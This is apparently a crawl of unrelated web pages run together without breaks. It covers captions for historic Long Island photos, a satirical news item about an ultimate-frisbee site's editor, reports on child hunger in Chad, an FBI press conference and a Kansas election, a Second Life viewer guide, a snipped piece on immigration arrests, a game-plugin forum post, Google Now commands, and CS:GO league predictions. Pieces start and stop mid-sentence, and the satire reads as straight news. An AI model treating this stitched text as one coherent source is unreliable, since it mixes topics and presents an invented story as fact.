was taken at the Long Island Yacht Club in 1905. Boating was, and still is, a popular past time for Long Islanders. 5. Airplane in Garden City, NY Photo shows Wilbur R. Kimball, an aviation pioneer, inventor, airplane builder and pilot who was also the Secretary of the Aeronautic Society of New York. The picture was taken at the Nassau Boulevard Aerodrome International Aviation Meet, Garden City, Long Island, New York which was held between September 23 and October 1, 1911. 6. The First Official Airmail Flight, Garden City, NY This photo shows the first official airmail flight in the United States. The pilot, Earle Lewis Ovington, is in a Bleriot XI airplane. Postmaster General Frank Harris Hitchcock is handing Earle the bag of mail, and Edward M. Morgan, postmaster of New York can be seen standing next to the plane. This picture was taken on September 23, 1911 at the Nassau Boulevard Aerodrome International Aviation Meet in Garden City, Long Island, New York. 7. August Belmont Jr. at Belmont Park, Elmont, NY This photograph shows August Belmont, Jr. at the Belmont Park racetrack in Elmont, Long Island. Belmont is known as “The Championship Track” because almost every major champion in racing history since the early 20th century has competed on the racecourse, including each of the 12 Triple Crown winners. 8. Laying Streets in Garden City, NY This picture of Garden City NY shows laborers excavating for laying out streets, in 1911. As you can see in the background, much of Garden City was open land at the time. 9. Music Park in Long Beach, Long Island A music park in Long Beach NY. Locals would congregate at the park to listen to bands play music in the band shell seen at the center oft he picture. This picture was taken in 1911, and if you click on it you can see a closer view. 10. Polo Match at Meadowbrook Polo Club The Meadowbrook Polo Club in Old Westbury, New York is the oldest continuously operating polo club in the United States. It was first established in 1881. This picture shows Edith Kane and Mrs. J. Douglas Robinson attending the Newport Cup polo match at Meadow Brook Field on June 14, 1913. 11. Piping Rock Country Club, Long Island Photograph shows children at an amateur horse exhibition at Piping Rock Club, a country club in Locust Valley, Matinecock, New York. The picture was taken in October 1913. It was known as the “Augusta of its Day” and boasted members like J. P. Morgan Jr., Louis Comfort Tiffany, Frank Nelson Doubleday, Condé Montrose Nast, William L. Harkness, and members of the Vanderbilt and Astor families. 12. Suffrage Pageant from Mineola to Hempstead Photo shows participants in the suffrage pageant and parade which started in Mineola and went to Hempstead. This picture was taken on May 24, 1913. 13. Tennis in Forest Hills, Long Island Photograph shows the Davis Cup Match between the American team (Maurice E. McLoughlin and Thomas A. Bundy) and the Australian team (Anthony F. Wilding and Norman E. Brookes) at the West Side Tennis Club in Forest Hills, Long Island, New York. The Davis Cup is at left on a table. This picture was published in the New York Times on August 15, 1914. 14. R.R. Conklin’s Auto Bus This picture shows the “land yacht” double-decker bus of Roland R. Conklin. traveled from Huntington, Long Island to Chicago in 1915. It is considered one of the early “motor homes”. 15. Collins Pharmacy in Islip, Long Island Photograph shows the interior of a soda fountain/drugstore with customers and employees in Islip, NY in 1915. 16. First Transatlantic Flight, Mineola, NY The R-34 was the first aircraft to make an east to west crossing of the Atlantic ocean. The R-34 left Britain on July 2, 1919 and landed in Mineola, NY on July 6, 1919. The flight took 108 hours. The crew nicknamed the ship, “Tiny”. Share with your friends!Charlie Eisenhood Actually Writing All Ultiworld Articles Himself Mean Machine Blocked Unblock Follow Following Feb 13, 2015 The founding editor of Ultiworld, Charlie Eisenhood, has apparently been writing all of the website’s articles himself under more than two dozen pen names. “It all started when I didn’t receive a single response after posting an article that Ultiworld was hiring more writers. I figured if I made up a person and ‘hired’ them, other people would be more likely to want to write for me.” Things quickly escalated as he was forced to respond to emails and comments under a multitude of aliases. He also spent time practicing various voices for each member of his monthly podcast. Eisenhood admitted things had begun to spiral out of control several years ago. “At first everything seemed manageable, but with the addition of the professional leagues in 2011 and 2012, and the explosion of the youth game, things quickly got out of hand.” The biggest mistake he made was starting the “Powered by Agility — 5 Ultimate Breakdown” series, as the hours pouring over video for each team was a massive undertaking for one man pretending to be 16 different people. “I still can’t believe that no one figured out what I was doing. I mean, I was getting pretty desperate when I made up names like Tad Wissel and Keith Raynor — I mean ‘Keith Raynor’ never once conducted an in-person interview! Come on people!” At the time of publication, Eisenhood is considering laying off 2/3rds of his writers.ROME (Thomson Reuters Foundation) - Childhood hunger is costing Chad more than 575 billion CFA francs ($982 million) a year in health and education costs and lower productivity in adult life, the African Union and U.N. agencies said in a joint study launched on Wednesday. This is equivalent to 9.5 percent of Chad’s gross domestic product (GDP), the Cost of Hunger in Africa (COHA) study said. More than 56 percent of Chad’s adults - some 3.4 million people - suffered from stunting as children, and as a result are unable to achieve their full potential, according to the study. Stunting, which leads to children being short for their age, is a sign of chronic undernourishment and occurs when children lack the calories and proteins - and sometimes vitamins and minerals - they need to grow. “The study provides us with compelling evidence of the consequences of child undernutrition as well as the justification to increase investment in nutrition,” said the World Food Programme’s Chad country director, Mary-Ellen McGroarty. It also provides evidence of the “potential economic returns if we are to take aggressive measures toward eliminating stunting”, she said in a statement. Stunting among Chadian children under the age of five fell to 39 percent in 2010 from 45 percent in 2004, according to the 2016 Global Nutrition Report. More than 183,000 children in Chad died from undernutrition in the last five years, the COHA study said. Chad is one of 12 African countries carrying out a COHA study. Studies completed to date have concluded that African economies are losing the equivalent of between 1.9 and 16 percent of GDP due to child undernutrition. The studies are an initiative led by the African Union, with the support of the U.N. Economic Commission for Africa, and WFP.WASHINGTON -- FBI Director James Comey really does not want to generate headlines about an investigation that might help determine who becomes the next leader of the free world. He spent most of a Wednesday press conference figuring out ways not to say anything about the ongoing FBI probe into Hillary Clinton's use of a private email server when she served as secretary of state. The biggest "revelation" on that topic was that Comey felt "pressure" to conduct the investigation "well and promptly" since the matter is of significant public interest. But will the probe be wrapped up before the November election? He wouldn't answer. If the FBI finds no reason to recommend any charges, will the bureau issue a report explaining its decision? "I don't want to say at this point," Comey said. On other questions, he went with "I have no comment" or "I'm not going to comment." He also noted there was "no special set of rules" for anyone being investigated by the FBI. Comey tried to sweep the matter off the table at the start of the gathering by declaring that he could not "talk about any pending investigation, to and including the investigation in connection with Secretary Clinton's use of a private email server." "So you're welcome to ask me about that, but I promise you you're going to get the same answer, which is I'm not going to talk about a pending investigation and that I remain close to that investigation to make sure it's done well and it has the resources that are needed. As I've told you all before, my goal in any investigation is to do it well and do it promptly, especially investigations of intense public interest. All of that remains true. It remains under investigation, and there's nothing else to say about that," Comey said. But that didn't stop the journalists from trying to get more answers. Clinton, the Democratic presidential front-runner, is expected to be interviewed by the FBI in the coming weeks. Her campaign has downplayed the probe, describing it as a "security review" -- a term that Comey said he wasn't familiar with. He described it as an "investigation," noting that the word is in the bureau's name. Comey, who donated to the presidential campaigns of John McCain in 2008 and Mitt Romney in 2012, said he wasn't "tethered to any particular external deadline" to complete the FBI's efforts.Bill Scher is a contributing editor to Politico Magazine, and co-host of the Bloggingheads.tv show “The DMZ.” Democrats are savoring a moral victory despite coming up short in the special election to represent the 4th Congressional District of Kansas. A district that five months ago gave Donald Trump a 27-point blowout gave Republican Ron Estes a merely respectable 7-percentage point margin over Democrat James Thompson. The president tweeted this morning: “Great win in Kansas last night for Ron Estes, easily winning the Congressional race against the Dems, who spent heavily & predicted victory!” Almost none of that was true: Democrats spent next to nothing to help Thompson, and it was Republicans who raced in at the last minute with emergency cash for Estes. The question now is whether Thompson’s surprisingly strong showing in one of the most reliably Republican districts in the country means anything for the elections yet to come. Story Continued Below With Trump’s presidential approval languishing in the upper 30s to low 40s, Democrats are certainly hoping that his misfortunes are building a blue wave for 2018. “There are over 100 Republicans sitting in districts that wouldn't have been heavily GOP enough to overcome the D swing we saw in KS tonight,” Democratic data specialist Tom Bonier observed on Twitter. But it is far from certain that we’re going to see a 20-point swing toward the Democrats in every precinct in every state across the country, whether it’s for the upcoming special House elections for what were Republican-held seats in Georgia, Montana and South Carolina, or in the 2018 midterm elections. Two big questions remain. Was this race just another fluky special election that will not be easily replicated? And did Thompson in defeat give Democrats a road map for a winning strategy in 2018? Special elections are often low-turnout affairs marked by local quirks, which can lead to aberrations in voting patterns. And the biggest quirk in Kansas was the Republican deadweight of its governor, Sam Brownback. Brownback’s deep tax cuts had led to unpopular spending cuts in education, driving his approval down to a rock bottom 27 percent. Estes was tied to Brownback’s administration as state treasurer, and Thompson — whose internal polling showed Trump retaining majority approval in the district — mainly trained his fire on Brownback. In fact, Thompson credited Trump and his last-minute robocall endorsement with dragging Estes over the finish line: “I probably shouldn't say this, but Mr. Estes didn't beat us. It took the president of the United States.” Still, it’s difficult to fully separate what’s happening in Washington from a congressional election, and what’s happening is a Republican meltdown. And that may be sapping enthusiasm among GOP voters nationwide. Before last night, there was some evidence of depleted Republican energy in other special elections. As the New York Times’ Nate Cohn reported last week, Republicans suffered a 5-point turnout drop in a Delaware state legislative race. And in the early vote for Georgia’s 6th Congressional District, he wrote, “[Democratic] turnout is running about twice as high as it did at this point in 2014, while Republican turnout is about half what it was.” These are hopeful signs for Democrats, but they are only wisps of data. Whether it was the troubles of Trump, Brownback or a combination of the two—or just the usual pattern of special elections—Republican turnout plummeted on Tuesday. Based on the unofficial results, Estes suffered a 62 percent drop in votes compared to the Republican candidate in 2016, while Thompson’s Democratic decline was only 32 percent. Another Brownback won’t be hovering over the next round of special congressional elections. Georgia’s Republican governor, Nathan Deal, is riding high with 63 percent approval, and Montana’s Democratic governor, Steve Bullock, has a solid 59 percent. South Carolina’s governor, Henry McMaster, has barely begun his tenure. Without the aid of a gubernatorial albatross, and with uncertainty over how much Republican voters have soured on Trump, Democrats will need a potent national message that resonates in red America. And in the wake of Bernie Sanders’ improbable campaign, many progressives are pushing Democrats to adopt his populist platform and style to paint those working-class conservative districts blue. Did Thompson’s valiant effort make that case? Sanders’ acolytes saw a kindred spirit in Thompson, but he stopped short of embracing the entirety of the Vermont senator’s platform. For example, he said of Bernie’s signature health care proposal, “I like the idea of single payer, [but] I don't see it getting accomplished in our current political environment.” But he campaigned with Sanders, credited him giving him the inspiration to run and relentlessly used Sanders’ frame of “fighting for the working class.” Thompson was also unabashedly liberal on combating climate change, protecting LGBT rights and providing undocumented immigrants with pathways to citizenship, though he mixed in support for “the right to bear arms.” “[Thompson] felt he had already won” reported The Huffington Post, “because he had shown that Democrats could make a Republican district competitive by running on an unapologetically progressive platform.” True enough. Thompson’s gun-toting progressive populism was a marked improvement over last November’s blowout. But Michael Dukakis was an improvement over Walter Mondale; it didn’t mean Democrats should run as diminutive technocrats. The hypothesis that a progressive economic populism can fully flip a white working-class district from red to blue remains unproven, especially when confronting a competing right-wing populism that intertwines protectionism with promises of deportation and environmental deregulation. In fact, Thompson’s populist pitch hit a wall similar to the one Hillary Clinton’s pragmatist campaign did. The only part of the Kansas district that Thompson won outright was urban Wichita; he failed to make a significant dent in the surrounding rural areas. Meanwhile, the Democratic hope in Georgia’s 6th Congressional District, the buttoned-down Jon Ossoff, is running a campaign that’s more pointedly anti-Trump and more ideologically moderate than the one we saw from Thompson. A recent ad shows Ossoff silently tweeting that we should “fix Obamacare, NOT repeal it” as well as “cut wasteful spending” and, instead of pining for the jobs of the past, “attract more high-tech jobs.” He ends by tweeting, “I’ll stand up to Donald Trump … he should act like a president.” Georgia 6th does not resemble Kansas 4th in the slightest. The district is not economically hard hit. It includes affluent Atlanta suburbs and more than half the voters are college graduates. Trump barely edged Clinton there in November. A pitchfork populism would not be the right fit for the district. A poll from Atlanta’s 11
to participate and have blocked it so that you will no longer be prompted to join it whenever you visit a region / parcel where it is active (until such time as you choose to revoke the block). Each tab displays a list of experiences by name. Clicking on a name will display the relevant Experience Profile (see below). Admin, Contributor and Owned These three tabs respectively display: Those experiences for which you have been made an administrator of (via a special group role called Admin). Administrators are those people assigned by the creator of an experience who can edit the Experience Profile Those experiences for which you have been made a contributor (via a special group role called Contributor). Contributors are those people assigned by the creator of an experience who can contribute scripts and objects to an experience Those experiences you have created and own. While an experience can be a collaborative piece – hence the Admin and contributor roles – one avatar must be the designated owner of an experience and hold overall responsibility for it. Events This tab allows you to see the actions (events) taken on your avatar by any experiences in which you’ve recently participated. It includes a number of additional options: Notify: turn-on on-screen notifications for a given event – so if you wish to be notified each time your avatar is animated by any experience, for example, you can use this button Profile: display the Experience Profile for the experience associated with the event Report: will open the Abuse Report floater, which has been pre-populated with the relevant information, allowing you to instantly file an Abuse Report against an event / object which is causing grief / harassment Notify All Events: checking this will cause all on-screen notifications for events within any experience to be displayed by the viewer Days: the total number of days history of events you wish the tab to display Clear: clear the event list < and >: page through the list. Experience Profile The Experience Profile provides the following information on any given Experience: The experience name A short description An image (if provided) The maturity rating for the experience The experience owner The group associated with the experience A link to any associated Marketplace store In addition, the Profile contains four buttons: Allow: will add the Experience to your list of allowed experiences without you having to actually visit it and agree to participate. When visiting experiences allowed in this way, you will not see any invitational dialogue boxes displayed, because the system will already consider you a participant. Note that if you have already participated in the experience, this button will be grayed-out Block: will add the Experience to the list of those you have blocked, so that you will not be bothered with any invitational dialogues when visiting regions / parcels where it is running – although you also won’t be able to participate in it until such time as you unblock it. Note that if you have already blocked the experience, this button will be grayed-out Forget: If you have previously added an Experience to either your Allowed or Blocked list, this button will remove it from whichever list it appears on. This means that for a previously allowed Experience, you will have to once again agree to participate in it when you next visit, and for a previously Blocked Experience, you will receive invitational dialogues on visiting it once more, allowing you to participate in it, if you’ve changed your mind. Report: opens the Abuse Report floater, which has been pre-populated with the relevant information, allowing you to instantly file an Abuse Report against an event / object which is causing grief / harassment. The Experience Profile can be viewed in a number of ways, e.g: From any tab in the Experiences floater where the Experience name is displayed as link From the name of the Experience as displayed in any invitational dialogue which is displayed in your (Experience Keys enabled) viewer Via the View Profile button in the Search tab of the Experiences floater. Region / Estate and About Land As well as the above, the Region / Estate and About Land floaters in the viewer has also been updated with a new Experiences tab. These allow the landowner to control which Experiences can run on the land by adding them to the correct list: Allowed: the Experiences listed are allowed to run on all regions in the estate (Region / Estate floater) or on the parcel (About Land floater), if not blocked at the estate level Blocked: the grid-wide experiences listed are blocked from running on all regions in the estate (Region / Estate floater) or the listed Experiences are blocked from the parcel (About Land floater) Trusted (Region / Estate floater): the listed Experiences are allowed to run on all regions in the estate, and participants in the Experience are allowed to access the estate regardless of any access controls, but only so long as they are participating in the Experience (see below). Experiences with a higher maturity rating that a region / estate will be automatically blocked from running on any part of that region / estate Because non grid-wide Experiences must be white listed via the Allowed list in order to run on an estate, there is no need to block such Experiences via the block list; if they’re not on the Allowed list, they won’t run on the estate Similarly, because grid-wide experiences are designed to be just that – grid-wide – there is no need to explicitly allow such experiences on an estate. Instead, they only need to be blocked if you do not wish to have them running on your estate. A Note on Trusted Experiences As noted above, Trusted Experiences are those experiences an estate owner is allowing on the estate regardless of any access controls enforced on the estate. This means that anyone participating in such an Experience can access the estate’s regions, regardless of whether or not they are on the access list. However, should they revoke the experience while on the estate (e.g. click the Forget button on the Experience Profile), they will immediately be teleported out of the estate, as per the estate’s access controls. Scripting Related Updates The viewer also contains the following scripting related updates for experiences: The script editor has controls to associate a script with an Experience and to view the profile of the Experience a script is associated with. The controls are only enabled if the resident is an Experience Contributor. The properties floater for a script has a link to the Experience it is associated with, if any. Joining an Experience Aside from viewing the floaters described above, the viewer operates in exactly the same way as any other viewer, the only other noticeable difference you are likely to see is when encountering an active Experience or gateway to an experience. When this happens, a dialogue box is displayed which gives information on the experience (this may occur automatically, such as when arriving at a landing point or on collision with and invisible phantom prim, or it might be the result of having to click an information giver or similar, depending upon how the Experience is configured). If you are using a viewer that is Experience Keys enabled (such as a the project viewer), this dialogue box will include a link to the Experience Profile (by clicking the Experience name link), and buttons to accept / refuse the Experience or to block the Experience (so you’ll never see a prompts anywhere for it again) or to block just the current inviter. If you are using a viewer that has not been updated with Experience Keys support, the dialogue box will only allow you to accept / refuse participation in the Experience. Note that when participating in an experience, nothing as actually stored by the viewer itself, all of the relevant information is stored server-side in a special database associated with each Experience. Also, anything attached to your avatar as part of an Experience is not added to your inventory – it forms a Temp Attachment and is removed and deleted when you leave any parcel / region running that specific Experience / should you opt to stop participating in the Experience. Final Points Do remember that the Experience Keys project viewer is just that – a project viewer. The final capabilities and options may be different to how they are presented in the current version. For example, there is already a request that the Region / Estate floater includes an option to block all grid-wide experiences, rather than having to block them individually by name, to help those estate owners who do not want any grid-wide experiences running on their regions. Similarly, a request has also been made to allow land owners to set there land so that only the scripts associated with allowed experiences will run, thus helping to prevent cheating in games through the use of scripted objects. Obviously, it remains to be seen if such ideas will be implemented as the tools in the viewer are developed. In the meantime, this overview will hopefully act as a useful introduction to the viewer’s Experience options. Related Links AdvertisementsPew cited a report released last month by the Bureau of Justice Statistics to show that immigration offenses accounted for fully half of federal arrests in 2014, up from only 28% a decade earlier. Consequently, the Department of Homeland Security, which includes Customs and Border Protection and Immigration and Customs Enforcement (ICE), now makes more arrests than the FBI, DEA, BATFE, U.S. Marshal’s Service, and all other branches of the Justice Department combined. According to Pew: The geographic distribution of federal arrests also shows the growing emphasis on immigration offenses. In 2014, 61% of all federal arrests – or more than 100,000 – occurred in just five federal judicial districts along the U.S.-Mexico border. Driven by this massive increase in immigration arrests, a staggering 61% of federal arrests are now of non-U.S. citizens. These arrests, mostly for immigration offenses, but including thousands for other crimes, do not include the hundreds of thousands of non-criminal apprehensions of illegal aliens each year. Illegal aliens made up an equally shocking 37% of all criminal defendants in federal district courts in 2014. {snip} Original Article Share ThisHi this plugin helps you calling mias. Warning Its still an early beta version of the modification. It may not work ro work a bit incorreclty. I will be very grateful for any feedback/suggestions. Warning 2 ITS NOT ANY KIND OF STEALING PROGRAM. Many other players from Poland are using it and it does not steal your password or corrupt your game. Check out the video! http://www.youtube.com/watch?v=_NFFhvRT1Fw&feature or http://lolplugin.pl How does it work? It adds 4 buttons into the interface. By pressing button with LMB you make a top/bot/mia call. By pressing it with RMB you say top/bot/mid re. It also reads other players mia calls, puts them in the center of the screen and says it out loud. How does it help? -You can call mia/re/back very quickly. -You will not miss any of your teammates call. Is it a cheat? No. RIOT: Quote: Currently Riot Games does not have a stance on plugins or modifications for League of Legends. If something happens to cross the line in the future we'll be sure to take care of it. http://lolplugin.pl/LoLPlugin.zip I want to try it. how to download?Use thisHow to install:Unpack the files into your Riot Games\League of Legends\game folder.it must be in the same folder as your LeagueofLegends.exe. If you want to move the buttons, run LolPlugin.exe. Everything there is in English.If you experience any problems please post it, post logs from the program and post your operation system version. Plugin creates logs after every game in C:\Foo.txtThanks for any feedback!you can`t use this with LoLReplay or any UI Plugin-------------------------------------------------------------------------v.1.0- small bug fixes- source code (delphi 7) download form homepagev.0.5- new chatscan module (work on xp now)- new chatscan customization- new hotkey module- fix: button click lag, fps, tab button crash and moreOne of the features we use on Android to brag about how great Android is to our friends is Google Now. Which is a pretty big feature as well as a cool one. Google Now was introduced back at Google I/O 2012 with Android 4.1 - Jelly Bean, and is available on every phone running Android 4.1 or higher. Now there are two parts to Google Now. There's the screen that shows you cards, like the one below, then there's the search where you can type in your search or say what you want to search for. In that screen there are plenty of commands you can use to show off how great Android really is. Here are 66 different commands you can use: 1.Remind me to walk the dog in 2 hours 2.Call the Drake Hotel in Toronto 3. Send a Text to (insert name) "are you busy?" 4. Listen to "insert artist name"Should pull from collection 5. Turn off WiFi 6. Turn on Silent Mode 7.Is it going to rain tomorrow? 8. Pizza Places in ::insert city:: 9. Take me to (location) by foot 10. Where's that museum with Egyptian stuff in San Jose? 11. Where is Wooster Mass? 12. Where is Wooster College? 13. When is the next (insert team) game? 14. Did the (insert team) win their last game? 15. What time is it in Paris? 16. When is sun rise in Tokyo? 17. What time zone is Amsterdam in? 18. When was Canada day? 19. When is Mother's day in 2015? 20. What is 1 US dollar in Euro? 21. What's 12 in hexadecimal? 22. 15.5% of 70.20 23. What's 50 miles in kilometers? 24. What's once in a blue moon? 25. What's the answer to life, the universe and everything? 26. US Airways 400 27. AirCanada760 28. G O O G (spell it out) 29. Facebook Stock 30. What's the cast of the Big Bang Theory? 31. Who produced Ferris Bueller's Day Off? 32. Who founded Napster? 33. Where did Natalie Portman go to college? 34. What's the definition of dynamic programming? 35. How much is Angelina Jolie worth? 36. Who wrote The Grand Design? 37. What is Area Code 212? 38. What are some movies Bill Murray played in? 39. Fish species in Lake Tahoe 40. How long is the George Washington Bridge? 41. How long is the movie Ted? 42. How old is Mark Zuckerburg? 43. What is the height requirement for Space Mountain? 44. Pictures of the Eiffel Tower at sunset 45. Show me pictures of Android eating Apple 46. Do a barrel roll 47. Where's the tallest building in the world? 48. Where is The Starry Night? 49. How did Elvis Presley die? 50. How much is a bakers dozen? 51. What is the loneliest number? 52. What's the temperature of the Sun? 53. How old is the Earth? 54. What's the theme on Splash Mountain? 55. What's the slogan at Apple? 56. How tall is Taylor Swift? 57. When was the Statue of Liberty built? 58. When was the first episode of The Simpsons? 59. What are the dimensions of the Mona Lisa? 60. Who are the mascots of the San Francisco Giants? 61. Who is Donald Trump married to? 62. What's the rating for The Amazing Spider-Man 63. What's the capacity of Wembley Stadium? 64. What's the acceptance rate at UCLA? 65. Note to self, buy some apples so I can make a really nice pie. 66. Where is the Pier Cafe in San Diego? >Click See Inside > Menu > Compass mode What other commands do you use with Google Now? Feel free to post them in the comments down below, we'd be interested to see what else you find.With five weeks down, and two to go, we are now onto Week 6 of the UK Premiership, the top tier of UK’s domestic calendar. We are now just past the midway part of the season, it is now turning into one of the most unpredictable seasons we have seen thus far. The table looks so wide open to any team to take the title, although of course, the league stage doesn’t sort out the title contenders, just the four that make it to the finals. The UK Premiership Finals will be heading to Leicester where only one of these eight teams will get crowned champions, and walk away with the biggest share of £10,500. Only four of these teams can make the playoffs at Leicester and certainly it should be intriguing how this all develops especially with our first two weeks of pulsating action we’ve seen. We’ve had some pulsating action throughout the league season. There were some interesting twists in Week 5 of the UK Premiership last week, one being of course Team XENEX’s impressive outing against Team Infused. Some of us were perplexed when we saw Team XENEX actually leading for large parts of the game, and could have even managed to secure the upset, but it simply wasn’t to be as being in such a unique position, meant they suffered from the inexperience they have in their side from a leading position. It was the first positive thing I’ve seen from Team XENEX all season, and thankfully they gave a good game for spectators and showed they can compete with some of the UK’s finest. Although having said that, questions can be asked of Team Infused and how they managed to let Team XENEX run riot. Can I also give a special mention to Eirik Faraon “Mardant” Larsen who joins an elite club of people in the UK Premiership this season for grabbing an ace in the game. He is only the third player to do that so far this season. Obviously the biggest shock to learn was that Max “MiGHTYMAX” Heath had been given a chance to play with Reason Gaming, and like the majority of the scene, took his chance to leave a “doomed” side in the league, to upgrade his own status and join Reason who are currently topping the table at the moment. As a result of Max leaving AlterYourEgo, it has since led them to collapse and in our recent announcement saw Ian “Immi” Harding join up with Sam “RattlesnK” Gawn’s new side as coach for that side. This means that AlterYourEgo who were on a 3/5 rule from the previous season for keeping their spot, now ultimately lose their spot from next season’s UK Premiership after defaulting their remaining games. The Working Men continue to improve week on week, and have seen themselves storm back into Second place in the table as they dispatched of the new look Team uFrag side. Despite Team uFrag’s consistent lineup changes they put in a solid performance but couldn’t seem to break down the defense that TWM put in place to take a win. It seemed like that the usual star fragger of the side, Kostas “tsack” Theodoropoulos struggled last week, and it was actually Aaron “fre1” Frei who topped the charts with a rather unique performance of 35 kills to 20 deaths and not to mention a staggering 57% Headshot accuracy too. If the other games looked routine, both Team CeX and United Estonia, who love their fair share of close games this season, managed to have a topsy turvy display for all the spectators watching the games, as they cracked out some overtime. Once again Kristians “CINDER” Bogdanovs was toppling the Team CeX charts, I believe that is at least 4 of 5 matches now for Kristians, who continues to impress in this new look Team CeX side. However the clear winner of the day actually goes to Kevin “HS” Tarn who racked up an impressive 38 kills to 25 deaths with 10 of those being opening frags into the round. We also got treated to our second ace of the day as Hendrik “cheti” Vallimägi managed to clock up being the fourth player of the season with an ace and second player from United Estonia to achieve the feat. Depending on what happens to the previous four games for AlterYourEgo, Team XENEX may actually finish 7th this season, so a remarkable achievement for them. The Top 3 remain separated on round difference whilst 4th/5th/6th are 3 points apart currently. Interesting stuff moving into the final two weeks. Week 5 Results The Working Men 16:10 Team uFrag Team Infused 16:12 Team XENEX United Estonia 19:17 Team CeX AlterYourEgo 0:1 Reason Gaming Week 5 Panel Results Duck – 100% (Overall: 70%) Emperor – 75% (Overall: 65%) Ash – 50% (Overall: 70%) Previous Week Prediction Articles Week 1 Week 2 Week 3 Week 4 Week 5 Current Standings The Teams AlterYourEgo – Immi, Esio, MightyMax, Peggyyyy, Quiver (Now Folded) (Now Folded) United Estonia (Reigning Champions) – HS, cheti, Boaster, MCK, Joee (Reigning Champions) – HS, cheti, Boaster, MCK, Joee Team Infused – redsnK, Dream, Roma, Jenko, Lumji – redsnK, Dream, Roma, Jenko, Lumji Team XENEX – Gizmo, logaN, LIFELIKE, JPK, sHAW – Gizmo, logaN, LIFELIKE, JPK, sHAW Team CeX – medic, CINDER, Charley, resu, Spandex – medic, CINDER, Charley, resu, Spandex Reason Gaming UK – keita, batham, conoR, MiGHTYMAX, REAZN – keita, batham, conoR, MiGHTYMAX, REAZN The Working Men – jakem, dUdLeY, tsack, fre1, robiin – jakem, dUdLeY, tsack, fre1, robiin Team uFrag – adamxoxo, HypeIzBack, Jak3y, Powell, xfp The Panel M ichael “Duck” Moriarty – UKCSGO Journalist Michael is one of our journalists here at UKCSGO.com, he has written for many different organisation websites including Team Acer, Ninjas in Pyjamas and Reason Gaming. His CS knowledge is relatively restricted to recent times as he has no prior knowledge or playtime in the UK Scene from either CS: Source or 1.6 and therefore his opinion should be treated as a relatively new to the scene. Luke “EMPEROR” Ingram – Team exceL In Game Leader Luke is one of the UK scene’s well known fringe players, he currently is playing for Team exceL who will be heading to epic.EIGHTEEN in June later this year. Luke has a rich history in the domestic Counter-Strike Scene, having started playing CS: Source, he has been around the block in many different communities including both Ministry Of Darkness and Rasta back in the day. Ashley “ashhh” Battye – Former Team uFrag player Ashley has often been on the fringes of the UK Scene, however made his official break out in last seasons UK Premiership with Team XENEX. He also featured in the Team uFrag lineup which courted headlines at epic.SEVENTEEN but then flopped massively at insomnia57. Nowadays, he can most likely be seen playing with the likes of long term friends Eddie “eddie” Dixon and Richard “Rhaz” Hazzard as they formed previous teams such as Team MINISTRY and often go to iSeries tournaments as a group of friends enjoying their dynamic style of CS. Ash can rifle incredibly well and is one of the few people who can frag well enough when calling. The Working Men Vs Reason Gaming – 8pm Michael “Duck” Moriarty The Working Men have played well throughout this season, but Reason have opted for some upgrades to their squad since Week 1 and I feel that Reason could take this in a close match though. For both sides it is a must win match, and for teams such as CeX they will be looking for Reason to win, as the H2h is in their favour against TWM. It’s a tough one, but I can just see Reason taking this. Reason to win 16:14. Luke “EMPEROR” Ingram On the assumption that AYE don’t turn up to the rest of their games this means The working men have made top4 but Reason will need to this to cement their place within the top 4 spaces. I feel this game is certainly winnable for Reason and if they can replicate the performance they put up against UE then I feel they will come out on top. Reason will have more pressure on them than the working men to “get the job done” but I feel Reason will step up here.Going for overtime here 19:17 Reason win. Ashley “ashhh” Battye Huge game first up with the winner being the first confirmed team through to the finals. I thought Reason would come 4th or 5th but they’ve been well above expectations so far and could find themselves taking the first seed with a win tonight. The fixtures have worked out phenomenally for The Working Men so I think their 4-1 flatters them a little bit, but due to AYE folding they will be making the finals and it’s just a case of whether they can take the first seed spot ahead of Infused or Reason. It was a very good win for TWM last week and for that reason I think that this game will be a close one. Reason 16:13 United Estonia Vs Team XENEX – 9pm Michael “Duck” Moriarty Team XENEX last week finally showed up, and they showed us pundits a thing or two about being able to compete with some of the UK’s finest players. However, once again they find themselves out of their depths, and I just don’t see them ever getting into UE’s defence. It should be noted that UE managed to return back to full strength last week, so I assume they will again roll over XENEX as they just have superior aimers to the XENEX lads. United Estonia 16:6. Luke “EMPEROR” Ingram XENEX will really not want to finish the season off with 2 more losses but I can’t help but feel it’s going to happen unless they catch United Estonia severely under-performing i.e week 4 type of under-performing then it’s going to be a fairly comfortable ride fo UE even if they was to land on one of the favourable maps for XENEX I can’t see past a 16:6 victory for UE Ashley “ashhh” Battye Massive massive win for UE last week and that should realistically be enough to see them across the line. As it looks now, Reason and TWM are almost certainly on their ways to the finals with Infused very likely to join them, which leaves 1 slot for either UE, uFrag or CeX. Any other week I would be predicting a very one sided game, but Xenex really showed up last week and though they might feel they did well, they really showed a lack of experience in throwing away what seemed to be a won game at a few points. I still think UE will win this and nobody will be wanting to play them in the finals. United Estonia 16:10 Team Infused Vs Team CeX – 10pm Michael “Duck” Moriarty Probably the most crucial match of the week, as this should in theory either keep Team CeX in the hunt for a Top 4 place, or end their hopes entirely. Let’s put it this way, if Team CeX lose this match, they won’t be going to the Finals in Leicester as UE play XENEX this week and should pick up three points, which would leave UE on 12 points whilst CeX would be on 6. If CeX win this match against Infused, it would put Infused in a rather frustrating position, as they would have to win against UE next week to secure their place in the finals. This could be a messy affair, and I’m going to go with it heading into overtime. Infused should win 19:17 though against Team CeX. Luke “EMPEROR” Ingram CeX have been the team that I feel have underachieved this season with defeats and performances they can’t be pleased with and most importantly it has cost them games Infused are looking stronger and stronger, and i don’t see them letting up for the rest of the season. I would like CeX to prove me wrong just for the sake of every time I have predicted them they have let me down and vice versa. I am going 16:12 Infused. Ashley “ashhh” Battye If Infused lose both of their remaining games and CeX do the opposite then they will finish level with each other. I have Infused down as favourites for both of their remaining games, but them going 0:2 is far from unlikely as they have two of the strongest sides yet to play. Because CeX have Xenex as their final game, if CeX do take this one then they could potentially knock Infused into 5th position due to head to head results (if this is the route we go down) but that would require a few results to go against them. The question here is if CeX will show any real fight after losing from an 8:1 advantage to UE last week. Hopefully this won’t have fractured the team too much and they can bring their A game here so we can see who properly deserves to make it to the finals. Infused 16:14 in a back and forth game This concludes our predictions for Week Five in the UK Premiership, to follow the progress of all of these matches, then make sure you tune into the ESL UK Twitch Stream on this evening from 7:50pm, as each week will have all four matches going until 11pm. Don’t forget, if you want to qualify for next season’s UK Premiership, you can go and join the Major Ladder today and start competing. Just follow this handy link here and sign your team up today! For those of you who haven’t been able to watch the games each Monday, ESL UK have a rather nice collection of the streamed games on their YouTube channel, be sure to check it out over at ESL UK Youtube Channel. We will have more coverage of the UK Premiership over the coming weeks, including statistical breakdowns of all the major 